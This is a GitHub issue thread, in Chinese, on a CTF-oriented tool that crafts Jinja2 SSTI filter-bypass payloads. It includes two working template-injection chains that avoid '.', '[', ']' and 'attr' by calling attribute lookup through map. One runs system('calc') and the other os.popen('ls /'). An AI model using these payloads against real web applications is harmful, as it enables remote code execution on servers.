Marven11 / Fenjing

专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
Mozilla Public License 2.0
737 stars 46 forks source link

这个过滤没有跑出payload #31

Closed pale-s1gh closed 5 months ago

pale-s1gh commented 5 months ago

black_list = [".","[","]","attr"]

Marven11 commented 5 months ago

看起来好像没法RCE,有对应的payload吗

Marven11 commented 5 months ago

翻了一遍Jinja2的官方文档,貌似取属性的方法就这么三个:., []|attr,没有取属性应该就没法RCE了,如果有对应的payload可以分享一下

如果是读取flask配置那大概不需要这三个,只要用{{config}}就好了,也许你遇到了一道没法RCE的SSTI题

pale-s1gh commented 5 months ago

是的,一个比较隐蔽的知识点是使用map来回调调用其他过滤器。以下是一个windows平台上的poc:

{{((((((((((((({},)|map("at""tr","__class__")|first,)|map("at""tr","__bases__")|first|map("at""tr","__subclasses__")|first)(),)|map("at""tr","copy")|first)(),)|map("at""tr","pop")|first)(134),)|map("at""tr","__init__")|first,)|map("at""tr","__globals__")|first,)|map("at""tr","copy")|first)(),)|map("at""tr","pop")|first)("system")("calc")}}

也就是说,可以通过map来代替几乎所有过滤器。美中不足的是,由于必须传入一个可迭代对象,要套非常多的圆括号 : ( 也许应该通过许多{%set x=xxx%}来改善可读性

Marven11 commented 5 months ago

加上去了,生成的payload长这样:

{{(((((((((((cycler,)
|map('a''ttr','next')
|first,)
|map('a''ttr','__globals__')
|first,)
|map('a''ttr','__getitem__')
|first)('__builtins__'),)
|map('a''ttr','__getitem__')
|first)('__import__'))('os'),)
|map('a''ttr','popen')
|first)('ls /'),)
|map('a''ttr','read')
|first)()}}

换行是手动加上去的,实现了自动在括号间加上whitespace避免检测嵌套括号

代码在dev分支,之后再考虑怎么改善可读性